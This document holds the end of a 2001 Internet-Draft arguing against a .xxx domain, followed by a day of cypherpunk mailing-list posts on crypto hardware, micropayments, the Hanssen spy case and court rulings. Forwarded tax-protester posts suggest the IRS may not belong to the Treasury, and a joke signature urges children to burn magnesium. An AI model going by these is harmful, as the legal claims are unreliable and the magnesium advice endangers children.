    It should also be noted that there is some inefficiency in allocation
    at each level of hierarchy.  Generally allocations are of a power of
    two addresses and as requirements grow and/or shrink, it is not
    practical to use every address for a computer.

    (The above simplified description ignores multi-homing and many other
    details.)



4.2.2 IP Version 4 Addresses

    There just isn't any practical way to reallocate even one bit of IPv4
    global Internet Addresses for content filtering use.  Such addresses
    are in short supply and such an allocation would, in effect, cut the
    number of available addresses in half.  There just aren't enough
    addresses, given the efficiency of hierarchical allocation and
    routing, to do this.  Even if there were, current numbers have not be
    allocated with this in mind so that a renumbering within every
    organization with hosts on the Internet would be required, a
    nightmarish and Herculean task costing in the billions of dollars.
    Even if these problems were overcome, the allocation of even a single
    bit would likely double the number of routes in the default free
    zone, exceeding the capacity of current routers and requiring the
    upgrade of thousands of them to new routers that do not exist yet.

    And all this is for only a single bit, let alone more than one, is
    allocated to content labeling.

    Basically, the idea is a non-starter.



4.2.3 IP Version 6 Addresses

    IPv6 provides 128 bit address fields.  (more to come)




D. Eastlake 3rd, D. McCullagh                                  [Page 12]

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4.3 PICS Labels

    PICS Labels [PICS] have several modes.  If content is required to
    have labels in it, it raises all the problems of categorization
    granularity and forced speech.  But if used in a mode whereby a third
    party determines and provides labels for content and users are free
    to select whatever such third party or parties they wish to consult,
    it is a way to permit a myriad of categories, editors, and evaluators
    to exist in parallel.

    (more to come)



5. Conclusions

    TBD



































D. Eastlake 3rd, D. McCullagh                                  [Page 13]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


References

    [BT] - British Telecom comments to U.S. Commerce Department, February
    20, 1998,
    <http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/BT.htm>

    [CDA] - Reno v. American Civil Liberties Union, 117 S.Ct. 2329, June
    26, 1997, <http://supct.law.cornell.edu/supct/html/96-
    511.cpanel.html>

    [COPAREPORT] - Final Report of the COPA Commission to the U.S.
    Congress, October 20, 2000,
    <http://www.copacommission.org/report/newtopleveldomain.shtml>

    [GAO] - GAO Report OGC-00-33R, July 7, 2000,
    <http://www.gao.gov/new.items/og00033r.pdf>

    [GTLD-MOU] - GTLD-MOU Policy Oversight committee RFC 97-02, September
    13, 1997, <http://www.gtld-mou.org/docs/notice-97-02.html>

    [HOUSEREPORT] - U.S. House Commerce Committee report, 105th Congress,
    October 5, 1998.
    <http://www.epic.org/free_speech/censorship/hr3783-report.html>

    [ICM-REGISTRY] - Request for reconsideration from ICM Registry to
    ICANN, December 15, 2000,
    <http://www.icann.org/committees/reconsideration/icm-request-
    16dec00.htm>

    [LIEBERMAN] - Testimony of Senator Joe Lieberman before Children's
    Online Protection Act Commission, June 8, 2000,
    <http://www.senate.gov/~lieberman/press/00/06/2000608958 .html>

    [NAT] - ...

    [PICS] -  Platform for Internet Content Selection
       Service Descriptions <http://www.w3.org/TR/REC-PICS-services>
       Label Format and Distribution <http://www.w3.org/TR/REC-PICS-
          labels>
       PICS Rules <http://www.w3.org/TR/REC-PICSRules>
       PICS Signed Labels (DSIG) 1.0 Specification
          <http://www.w3.org/TR/REC-DSig-label/>

    [RFC 791] - "Internet Protocol", J. Postel, September 1981.

    [RFC 821] - "Simple Mail Transfer Protocol", J. Postel, Aug-01-1982.

    [RFC 822] - "Standard for the format of ARPA Internet text messages",
    D.  Crocker, Aug-13-1982.



D. Eastlake 3rd, D. McCullagh                                  [Page 14]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


    [RFC 1034] - P. Mockapetris, "Domain Names - Concepts and
    Facilities", STD 13, November 1987.

    [RFC 1035] - P. Mockapetris, "Domain Names - Implementation and
    Specifications", STD 13, November 1987.

    [RFC 1591] - J. Postel, "Domain Name System Structure and
    Delegation", March 1994.

    [RFC 2396] - T.  Berners-Lee, R. Fielding, L. Masinter, "Uniform
    Resource Identifiers (URI): Generic Syntax", August 1998.

    [RFC 2460] - "Internet Protocol, Version 6 (IPv6) Specification",
    Deering, S. and R. Hinden, December 1998.

    [RFC 2606] - D. Eastlake, A. Panitz, "Reserved Top Level DNS Names",
    June 1999.

    [RFC 2616] - "Hypertext Transfer Protocol -- HTTP/1.1", R. Fielding,
    J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T. Berners-
    Lee, June 1999.

    [WARSHAVSKY] - "Congress weighs Net porn bills," CNET article,
    February 10, 1998, <http://news.cnet.com/news/0-1005-200-326435.html>






D. Eastlake 3rd, D. McCullagh                                  [Page 15]

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Full Copyright Statement

    Copyright (C) The Internet Society (2001).  All Rights Reserved.

    This document and translations of it may be copied and furnished to
    others, and derivative works that comment on or otherwise explain it
    or assist in its implementation may be prepared, copied, published
    and distributed, in whole or in part, without restriction of any
    kind, provided that the above copyright notice and this paragraph are
    included on all such copies and derivative works.  However, this
    document itself may not be modified in any way, such as by removing
    the copyright notice or references to the Internet Society or other
    Internet organizations, except as needed for the purpose of
    developing Internet standards in which case the procedures for
    copyrights defined in the Internet Standards process must be
    followed, or as required to translate it into languages other than
    English.

    The limited permissions granted above are perpetual and will not be
    revoked by the Internet Society or its successors or assigns.

    This document and the information contained herein is provided on an
    "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
    TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
    BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
    HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
    MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.




Expiration and File Name

    This draft expires August 2001.

    Its file name is draft-eastlake-xxx-00.txt.
















D. Eastlake 3rd, D. McCullagh                                  [Page 16] 




From jchoate at dev.tivoli.com  Wed Feb 28 07:13:53 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 28 Feb 2001 09:13:53 -0600
Subject: Salon.com People | The Bush look
Message-ID: <3A9D15B1.C44B7695@dev.tivoli.com>


http://www.salon.com/people/col/pagl/2001/02/28/bush/print.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From aimee.farr at pobox.com  Wed Feb 28 07:19:58 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 28 Feb 2001 09:19:58 -0600
Subject: KYU-5, KG-84, KY-54 encryption devices
Message-ID: <NEBBJHBKILFDJEFIABHPKEDFCEAA.aimee.farr@pobox.com>


What are they?

- Aimee




From k.brown at ccs.bbk.ac.uk  Wed Feb 28 01:52:49 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Wed, 28 Feb 2001 09:52:49 +0000
Subject: Micropayments: Effective Replacement For Ads?
References: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>
Message-ID: <3A9CCA71.A4E71D73@ccs.bbk.ac.uk>


Ray Dillinger wrote:

[...]

> I never EVER want to have to remember a username and password
> for a site supported by micropayments -- again, the cognitive
> load is too high for the piffling amounts we're talking about.

The trouble is that in the current scheme of things commercial sites
don't want or need your micropayments, it still costs more to collect
than they will get out of it. What they want is a "relationship" with
you leading to macropayments. Micropayments - real micropayments, values
much under a penny per page, reflecting the real marginal cost of
delivering existing content - are,  short of the Hettingian revolution,
either more trouble than they are worth or just a way of weeding out the
casual loafers.
 
[...]

> Finally, sites supported by micropayments are going to have to
> figure out something about web spiders.  If "scooter" can't
> spend several million dollars a month on these places, they're
> not going to get into the altavista database, for example. 

As others have pointed out there are technical ways round this, the most
obvious being that they cut a deal with the search engines, using some
sort of crypto authentication at search time. If they can't work out the
techniques to do that they certainly won't be able to work out safe and
reliable micropayments from arbitrary numbers of casual browsers.

But I suspect they won't want to be indexed by real search engines. Your
Time-Warner-Bloated-Media-Corps and your Coca-pepsi-colas and even your
Microsofts don't *want* to have every page indexed by the likes of Alta
Vista, and they spend a lot of time and effort preventing that from
happening. What they want is for their metadata to be indexed. Which is
precisely why the metadata is usually not useful - it is effectively
advertising - which is precisely why the search engines that get me what
I want to see fastest are those most closely approximating free text
retrieval of the entire content through Boolean queries where I decide
what I want to look for, not some employee of the the owners of the
site. (Who, of course, in a nod to USan proprieties, are perfectly
entitled not to let me see their web pages if I choose to ignore their
front-ends and try to parachute in somewhere in the middle, or indeed
for any other reason. I'm not paying these guys & I don't intend to if I
can help it, and if they choose to exclude me then they can).

What big commercial websites still want is the dream of a "portal" where
human-indexed top-down directories channel the browser towards the
officially approved provider of each officially designated category of
content, presumably the one who paid them up front. The on-line shopping
mall. "Make this page your home page".  The net reinvented as cable TV.  

Eschew any web page with a title that starts with the word "My".

[...]




From bigal123 at ncol.net  Wed Feb 28 07:04:42 2001
From: bigal123 at ncol.net (Big Al)
Date: Wed, 28 Feb 2001 10:04:42 -0500
Subject: FW: [SupremeLaw] meet Manuel Diaz Saldana, Secretary of the Treasury
References: <LOBBKPIHHGHIIFDGGBOHMEAHCEAA.b.chandler@gte.net>
Message-ID: <3A9D1389.9FE23352@ncol.net>


Manual has not been the Secretary for some time now.  In fact three times
the office has changed.  The latest one is Xenia Velez Silva.  Have been in
constant contact by phone and mail to these turkeys.
Big Al



B.Chandler wrote:

> -----Original Message-----
> From: Paul Andrew Mitchell [mailto:supremelawfirm at yahoo.com]
> Sent: Tuesday, October 10, 2000 4:23 PM
> To: supremelaw at egroups.com
> Subject: [SupremeLaw] meet Manuel Diaz Saldana, Secretary of the
> Treasury
>
> Departamento De Hacienda
> Secretary of the Treasury
> Manuel Diaz Saldana (aka Manuel Diaz-Saldana)
> P.O. Box 4515
> San Juan, Puerto Rico 00902
>
> 1-787-721-2020
>
> found at:
>
> http://www.supremelaw.com/authors/gould/part05.htm
>
> See also:
>
> http://www.law.emory.edu/1circuit/sept98/97-2347.01a.html
>
> and search for "Secretary of the Treasury"!
> (wanna buy some used tires?)
>
> At 27 CFR 250.11, Meaning of terms, we find:
>
> "Secretary.  The Secretary of the Treasury
> of Puerto Rico."
>
> "Secretary or his delegate.  The Secretary or
> any officer or employee of the Department
> of the Treasury of Puerto Rico duly authorized
> by the Secretary to perform the function mentioned
> or described in this part."
>
> "Virgin Islands regulations.  Regulations issued
> or adopted by the Governor of the Virgin Islands,
> or his duly authorized agents, with the concurrence
> of the Secretary of the Treasury of the United
> States."
>
> Thus, there is:
>
> a Secretary of the Treasury of Puerto Rico
>
> -and-
>
> a Secretary of the Treasury of the United States!
>
> And, the $64,000,000,000* question is this:
>
> For which Secretary do IRS employees work?
>
> (Film at 11 :)
>
> *  that's "billions" folks!
>
> /s/ Paul Andrew Mitchell, B.A., M.S.
>
> p.s.  Moving right along, we are now in hot pursuit
> of the UNITED STATES OF AMERICA [sic].
>
> Helpful hints:
>
> 28 CFR 0.55, 0.64-1, 0.64-2, 0.96 and 0.96b
>
> Can you count the number of criminal indictments
> that have been issued by panels of federal citizens
> alleged to be federal grand juries, in the name of
> the UNITED STATES OF AMERICA?
>
> __________________________________________________
> Do You Yahoo!?
> Get Yahoo! Mail - Free email you can access from anywhere!
> http://mail.yahoo.com/
>
> -------------------------- eGroups Sponsor -------------------------~-~>
> eLerts
> It's Easy. It's Fun. Best of All, it's Free!
> http://click.egroups.com/1/9699/18/_/_/_/971209453/
> ---------------------------------------------------------------------_->
>
> To unsubscribe from this group, send an email to:
> SupremeLaw-unsubscribe at egroups.com






From honig at sprynet.com  Wed Feb 28 10:05:07 2001
From: honig at sprynet.com (David Honig)
Date: Wed, 28 Feb 2001 10:05:07 -0800
Subject: KYU-5, KG-84, KY-54 encryption devices
In-Reply-To: <NEBBJHBKILFDJEFIABHPKEDFCEAA.aimee.farr@pobox.com>
Message-ID: <3.0.6.32.20010228100507.008c89e0@pop.sprynet.com>


At 09:19 AM 2/28/01 -0600, Aimee Farr wrote:
>What are they?

.mil names for en/decrypting boxes; the KG is a key generator IIRC.  The
encryptors
often use classified algorithms and use hardware 'dongles' (bit carriers)
to key them.  




.......
Unbeknown to the latter, Marks had already cracked General de Gaulle's
private cypher 
in a spare moment on the lavatory. 




From bigal123 at ncol.net  Wed Feb 28 07:07:19 2001
From: bigal123 at ncol.net (Big Al)
Date: Wed, 28 Feb 2001 10:07:19 -0500
Subject: Where is IRS in Title 31 Organization
References: <LOBBKPIHHGHIIFDGGBOHAEAJCEAA.b.chandler@gte.net>
Message-ID: <3A9D1427.6A892850@ncol.net>


The Informer has done extensive research on this over the last 10 years
and what he posts to www.atgpress.com is worth reading.
Big Al

B.Chandler wrote:

> GEE Quatloos, I cant even find "Internal Revenue Service" in title
> 31 under Organization of the Department Of the Treasury!
>
> See 31 U.S.C. 301(f)(2):
>
>   http://www.law.cornell.edu/uscode/31/301.html (f)(2)
>
> This is the ONLY mention of the IRS that I can
> find in the organization of the U.S. Treasury.
>
> Title 31 HAS been enacted into positive law.






From tcmay at got.net  Wed Feb 28 10:26:56 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 10:26:56 -0800
Subject: KYU-5, KG-84, KY-54 encryption devices
In-Reply-To: <NEBBJHBKILFDJEFIABHPEEDKCEAA.aimee.farr@pobox.com>
References: <NEBBJHBKILFDJEFIABHPEEDKCEAA.aimee.farr@pobox.com>
Message-ID: <a0501040bb6c2f27fcae7@[207.111.241.61]>


At 12:06 PM -0600 2/28/01, Aimee Farr wrote:
>Tim May said:
>>  Search engines are the best way to answer such questions. A quick
>>  search with Google turns up numerous hits on these devices. (I
>>  suggest adding a narrowing word like "encryption" after the name of
>>  the device.)
>>
>>  One such hit gives a full description of one of these devices:
>>
>>  http://webhome.idirect.com/~jproc/crypto/kg84.html
>>
>
>Really? Well, damn. I'll have to try out that Google-thing sometime....

Yes, you've said similar things in the past.

And yet you ask very basic, easily-answered questions, questions 
best-answered by spending a minute or two entering words into a 
search engine of your choice. (In the age of the Web, a page which 
has photos, descriptions, etc. of such a device is worth a lot more 
than someone giving vaguely-remembered comments.)


>I can't figure out if you're irked by amateurish elicitation tactics, or if
>you're trying to give me lessons in how to do better.


We used to hear the expression "Look it up."

When a child asks what a word means, "look it up."

When someone asks where Borneo is located, "look it up."

When a list member asks what a KG-84 is, "look it up."

--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From bfk at mindspring.com  Wed Feb 28 11:16:58 2001
From: bfk at mindspring.com (Blank Frank)
Date: Wed, 28 Feb 2001 11:16:58 -0800
Subject: spook bugs hosed by Hanssen
Message-ID: <3A9D4EA9.10E15299@mindspring.com>



Spy Suspect May Have Revealed U.S. Bugging
                                              Espionage: Hanssen left
signs that he told Russia where
                                            top-secret overseas
eavesdropping devices are placed,
                                            officials say.

                                            By ERIC LICHTBLAU, Times
Staff Writer

                                                 WASHINGTON--U.S.
intelligence officials said
                                            Tuesday that they fear
suspected spy Robert Philip
                                            Hanssen may have provided
Russia with top-secret
                                            information about how and
where the United States has
                                            planted its most
sophisticated overseas eavesdropping
                                            devices.
                                                 U.S. spy-catchers said
they are trying to determine
                                            whether the former FBI agent
compromised a highly
                                            sensitive "black-budget"
program run jointly by the
                                            Central Intelligence Agency
and the National Security
                                            Agency.
                                                 The elite program,
known innocuously as the Special
                                            Collection Service, plays a
critical role in U.S.
                                            intelligence operations by
conducting bugging operations
                                            in or near embassies,
communications centers and other
                                            facilities on foreign soil.
                                                 The program's mission
is so sensitive that intelligence
                                            officials never have
acknowledged its existence publicly.
                                            Its funding is hidden within
the federal budget and little is
                                            known about the technologies
and techniques it employs.
                                                 Hanssen was arrested on
Feb. 18 after FBI agents said
                                            they saw him leave a cache
of secret documents at a "dead
                                            drop" in a park near his
home in Vienna, Va. He is
                                            accused of having provided
classified material to the
                                            Russians since 1985 in
exchange for $1.4 million in cash
                                            and diamonds.
                                                 According to documents
filed in federal court
                                            Tuesday, the package of
material included an encrypted
                                            letter in which Hanssen said
that he feared the FBI
                                            suspected him and that he
needed to "seclude" himself.
                                                 "Something has aroused
the sleeping tiger," said a
                                            letter signed by "Ramon
Garcia," one of the aliases
                                            allegedly used by Hanssen.
The letter said that the FBI had
                                            promoted him to "a higher
do-nothing" job without
                                            regular access to
counterintelligence. "It is as if I am
                                            being isolated," the letter
said.
                                                 As U.S. officials try
to assess the damage caused by
                                            Hanssen's alleged spying,
the CIA-NSA bugging program
                                            "is going to be a focus,"
confirmed an intelligence official
                                            who asked not to be
identified. "That's certainly going to
                                            be looked at."
                                                 Hanssen is believed to
have shared office quarters for
                                            several years at the State
Department with NSA agents
                                            and may have obtained
information about the bugging
                                            program through this and
other means in his role as a
                                            Russian counterintelligence
specialist, U.S. officials said.
                                                 If Hanssen did breach
the security of the program, it
                                            could represent one of the
most damaging consequences
                                            of the data he allegedly
sold to the Russians and their
                                            Soviet predecessors over a
15-year period.
                                                 An affidavit outlining
the government's case against
                                            Hanssen asserts that he
"compromised an entire technical
                                            program of enormous value,
expense and importance to
                                            the United States." It
suggests obliquely that Hanssen
                                            gave the Russians
information about a "new technique"
                                            developed by the NSA and
described to them a "sensitive
                                            office" where an NSA
employee worked.
                                                 Although the affidavit
does not mention the Special
                                            Collection Service by name,
intelligence experts outside
                                            the government said that
these and other references point
                                            to the global eavesdropping
operation.
                                                 FBI officials already
have described some of the
                                            information they believe
Hanssen passed to the Russians
                                            over the years. He allegedly
confirmed for Moscow the
                                            identities of three Russian
double agents who were
                                            working for the United
States--leading to the execution of
                                            two of them. And in 1989, he
allegedly let the KGB know
                                            about a secret FBI
investigation into the activities of
                                            Felix Bloch, a high-ranking
U.S. diplomat suspected of
                                            spying for the Soviets. The
investigation was
                                            "compromised," U.S.
officials said, and Bloch was never
                                            charged.
                                                 But intelligence
officials said that Hanssen may have
                                            caused far more damage to
U.S. national security, and
                                            they are still trying to
assess the extent of that damage.
                                            FBI Director Louis J. Freeh,
along with Atty. Gen. John
                                            Ashcroft and CIA Director
George J. Tenet, will brief
                                            congressional officials
today in a closed session.
                                                 If the bugging program
was seriously compromised by
                                            Hanssen, "that's something
that would be extremely
                                            serious," said a former
intelligence official who requested
                                            anonymity. "You're talking
about very specific, very
                                            pointed information that's
usually the gold nuggets of the
                                            intelligence community."
                                                 Said James Bamford, an
author and expert on the
                                            NSA: "Once [the Russians]
find out how this
                                            eavesdropping is done and
where in essence the bugs are,
                                            they could quickly do one of
two things--take them apart,
                                            or worse yet, send
disinformation over them."
                                                 Intelligence officials
started the program in the late
                                            1970s in the midst of the
Cold War to devise and plant
                                            sophisticated eavesdropping
devices at overseas sites that
                                            have access to sensitive
data. The aim is to intercept
                                            sensitive information on
espionage, nuclear arms,
                                            terrorist networks, drug
trafficking and a range of other
                                            issues that U.S. officials
say are vital to national security.
                                                 The bugging program
"marries the CIA's covert people
                                            who know how to get into
places--by bribing the right
                                            person or whatever is
needed--with the NSA people who
                                            can design the right bug to
go in the right environment so
                                            the information can be
secreted across the border," said
                                            Bamford, who wrote a
landmark study of the NSA and
                                            will soon release a sequel
called "Body of Secrets."
                                                 The CIA and the NSA use
the program to bug not only
                                            obvious targets such as
embassies and government
                                            centers, but also computer
facilities, fiber-optic cable
                                            networks and communications
centers carrying sensitive
                                            data, Bamford said.
                                                 Bamford said that he
knows Hanssen well, both
                                            personally and
professionally. Hanssen, he said, was in an
                                            ideal position to penetrate
the bugging system because he
                                            was intimately familiar with
Russian counterintelligence,
                                            computers and sophisticated
electronic eavesdropping
                                            techniques. "Those are
exactly the kinds of things that
                                            [Special Collection Service]
is involved in," he said.

<snip>
http://www.latimes.com/news/nation/updates2/lat_spy010228.htm




From jchoate at dev.tivoli.com  Wed Feb 28 09:20:08 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 28 Feb 2001 11:20:08 -0600
Subject: CNN.com - U.S. Supreme Court strikes down welfare gag - February 28, 
 2001
Message-ID: <3A9D3348.8E981239@dev.tivoli.com>


http://www.cnn.com/2001/LAW/02/28/scotus.legalservices.ap/index.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From danny at staff.cs.usyd.edu.au  Tue Feb 27 16:53:50 2001
From: danny at staff.cs.usyd.edu.au (Danny Yee)
Date: Wed, 28 Feb 2001 11:53:50 +1100
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, Not Facts
In-Reply-To: <3A9C0432.B5BF7E05@mrlizard.com>; from lizard@mrlizard.com on Tue, Feb 27, 2001 at 11:46:58AM -0800
References: <Pine.SOL.3.91.1010227110823.22992A-100000@alumnus> <3A9C0432.B5BF7E05@mrlizard.com>
Message-ID: <20010228115350.A2189@staff.cs.usyd.edu.au>


lizard wrote:
> But if source code is free speech, isn't a judge ordering some code be
> removed/edited/changed an intrustion on free speech? Isn't saying
> "Remove Explorer from the core install!" the same as saying "Remove this
> chapter from this book!"
 
Is a judge ordering people to stop making illegal copies of M$ software
and sharing it with their friends not also an "intrusion into free
speech"?

I agree that mandating the relationship between IE and Windows is
stupid, mind you - it's an ad hoc after the event remedy, where much
more fundamental ones are called for.

Danny.





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From: sales at estainless.net (sales at estainless.net)
Date: Wed, 28 Feb 2001 11:55:59 -0500
Subject: 12ga 304 2b for $.78 FOB Bensalem, P.a.
Message-ID: <siq2li7fpe1g4i515ca.vj2i0s7p2b3pj00e7i@mickdaddys.com>


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---------------------------------------------------------------------------------------------
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From ds932 at bard.edu  Wed Feb 28 09:02:46 2001
From: ds932 at bard.edu (David Stultz)
Date: Wed, 28 Feb 2001 12:02:46 -0500 (EST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy"  On Flawed Theory,  Not Facts
In-Reply-To: <5.0.2.1.0.20010227231001.01f1fc98@shell11.ba.best.com>
Message-ID: <Pine.A32.3.95.1010228115959.11750A-100000@bard.edu>


> It appears to me that this rule is most commonly invoked by those whose
> ideology and program has a marked resemblance to Nazism, and derives
> from Nazi philosophers.

Somehow I feel that my position (although now I see that I was wrong), was
a Nazi-related view.  That and I was only partially serious.

Dave

On Tue, 27 Feb 2001, James A. Donald wrote:

>      --
> At 11:23 PM 2/27/2001 -0500, David Stultz wrote:
>  > Isn't there some sort of rule where at the first mention of "Hitler"
>  > or "Nazi", it's the end of the thread?
> 
> It appears to me that this rule is most commonly invoked by those whose 
> ideology and program has a marked resemblance to Nazism, and derives from 
> Nazi philosophers.
> 
>      --digsig
>           James A. Donald
>       6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
>       61pwOMBLpml48FZUTWwMfoIW0QLabj+EyTeP1ANH
>       4uUgcgY8zfUFGh64CZnHVOygyvbOYBzvlFTQH48nZ
> 




From aimee.farr at pobox.com  Wed Feb 28 10:06:58 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 28 Feb 2001 12:06:58 -0600
Subject: KYU-5, KG-84, KY-54 encryption devices
In-Reply-To: <a05010408b6c2d881af82@[207.111.241.61]>
Message-ID: <NEBBJHBKILFDJEFIABHPEEDKCEAA.aimee.farr@pobox.com>


Tim May said:
> Search engines are the best way to answer such questions. A quick
> search with Google turns up numerous hits on these devices. (I
> suggest adding a narrowing word like "encryption" after the name of
> the device.)
>
> One such hit gives a full description of one of these devices:
>
> http://webhome.idirect.com/~jproc/crypto/kg84.html
>

Really? Well, damn. I'll have to try out that Google-thing sometime....

I can't figure out if you're irked by amateurish elicitation tactics, or if
you're trying to give me lessons in how to do better.

-Aimee




From ramm at home.com  Wed Feb 28 09:27:34 2001
From: ramm at home.com (Amanda Ramm)
Date: Wed, 28 Feb 2001 12:27:34 -0500
Subject: Animal Passports
Message-ID: <000001c0a1ab$bd46fec0$db5f2a18@nmkt1.on.wave.home.com>


Can you please advise on the following:

We are considering moving back to England from Canada and have the following
pets:

2 cats approx 8 yrs old where their vacc are up to date

1 cat approx 4 yrs old who as above is up to date with vacc

Also 1 puppy who is now only 10 wks and doesn't have his rabies vac for a
few more weeks yet

Can you please advise what the procedure would be and if they would have to
be quarantined or not

Thanks for your help




From jchoate at dev.tivoli.com  Wed Feb 28 10:29:39 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 28 Feb 2001 12:29:39 -0600
Subject: Sex, drugs, and technology - demonizing crypto
Message-ID: <3A9D4393.92A16025@dev.tivoli.com>


http://www.sunworld.com/unixinsideronline/swol-02-2001/swol-0223-unixsecurity.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From jchoate at dev.tivoli.com  Wed Feb 28 10:48:02 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 28 Feb 2001 12:48:02 -0600
Subject: American Bar Association - 1 click patents
Message-ID: <3A9D47E2.F919E8A5@dev.tivoli.com>


http://www.abanet.org/journal/mar01/fstate.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From George at Orwellian.Org  Wed Feb 28 10:12:54 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Wed, 28 Feb 2001 13:12:54 -0500 (EST)
Subject: Microsoft Trial Judge [blah blah blah]
Message-ID: <200102281812.NAA28360@www5.aa.psiweb.com>


"James A. Donald" <jamesd at echeque.com> wrote:
#    At 11:23 PM 2/27/2001 -0500, David Stultz wrote:
#     > Isn't there some sort of rule where at the first mention of "Hitler"
#     > or "Nazi", it's the end of the thread?
#    
#    It appears to me that this rule is most commonly invoked by those whose
#    ideology and program has a marked resemblance to Nazism, and derives from
#    Nazi philosophers.

Nonsense.

This rule is alive and well in Usenet.

--

    Jim Chaote's Questionable Science For Kids, #285311
    #
    #   Hey kids, wanna see something cool??? Pick up
    #   a roll of magnesium from the appropriate supply
    #   store and set it on fire using a blue-flame
    #   lighter or torch. And watch it burn! It has
    #   a hypnotically bright white light, something
    #   you can watch for hours on end.




From adam at homeport.org  Wed Feb 28 11:08:10 2001
From: adam at homeport.org (Adam Shostack)
Date: Wed, 28 Feb 2001 14:08:10 -0500
Subject: American Bar Association - 1 click patents
In-Reply-To: <3A9D47E2.F919E8A5@dev.tivoli.com>
References: <3A9D47E2.F919E8A5@dev.tivoli.com>
Message-ID: <20010228140810.A7920@weathership.homeport.org>


So, this web page doesn't work without javascript.  I find that
somewhat ironic, because you'd think that the ABA would be aware of
the Americans With Disabilities act, which requires a reasonable
accomodation; in this case that accomodation would be one less line of 
html (the meta-equiv refresh line)

Adam


On Wed, Feb 28, 2001 at 12:48:02PM -0600, Jim Choate wrote:
| 
| http://www.abanet.org/journal/mar01/fstate.html


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume





From mhw at wittsend.com  Wed Feb 28 11:38:02 2001
From: mhw at wittsend.com (Michael H. Warfield)
Date: Wed, 28 Feb 2001 14:38:02 -0500
Subject: Another Wiretap Criminal Exposed
In-Reply-To: <200102281652.f1SGqXp11718@artifact.psychedelic.net>; from emc@artifact.psychedelic.net on Wed, Feb 28, 2001 at 08:52:33AM -0800
References: <200102281652.f1SGqXp11718@artifact.psychedelic.net>
Message-ID: <20010228143802.B11659@alcove.wittsend.com>


On Wed, Feb 28, 2001 at 08:52:33AM -0800, Eric Cordian wrote:
> More "Zero Intelligence" from the public school system.

> http://www.newsday.com/ap/text/national/ap448.htm

	Charges dropped:

	http://www.cnn.com/2001/LAW/02/28/recording.charge.01.ap/index.html

> -----
> 
> NAVARRE, Fla. (AP) -- A high school student has been charged with
> violating Florida's wiretapping law after tape recording a chemistry class
> lecture.
>    
> Asher Zaslaw, 17, pleaded not guilty to the third-degree felony in
> juvenile court Tuesday. She faces a variety of penalties, including
> community service and probation.
>    
> Zaslaw said she recorded the October lecture at Navarre High School
> because she was having difficulty in the class and wanted to maintain good
> grades.
> 
> [snip]
> 
> -- 
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"

-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw at WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!




From jchoate at dev.tivoli.com  Wed Feb 28 12:44:57 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 28 Feb 2001 14:44:57 -0600
Subject: TIME.com: Nation -- The Supreme Court Clears the Air
Message-ID: <3A9D6349.A17EA5A9@dev.tivoli.com>



Ehaaa! They can get something right on occasion...

http://www.time.com/time/nation/article/0,8599,100828,00.html

-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From tcmay at got.net  Wed Feb 28 14:48:07 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 14:48:07 -0800
Subject: American Bar Association - 1 click patents
In-Reply-To: <20010228140810.A7920@weathership.homeport.org>
References: <3A9D47E2.F919E8A5@dev.tivoli.com>
 <20010228140810.A7920@weathership.homeport.org>
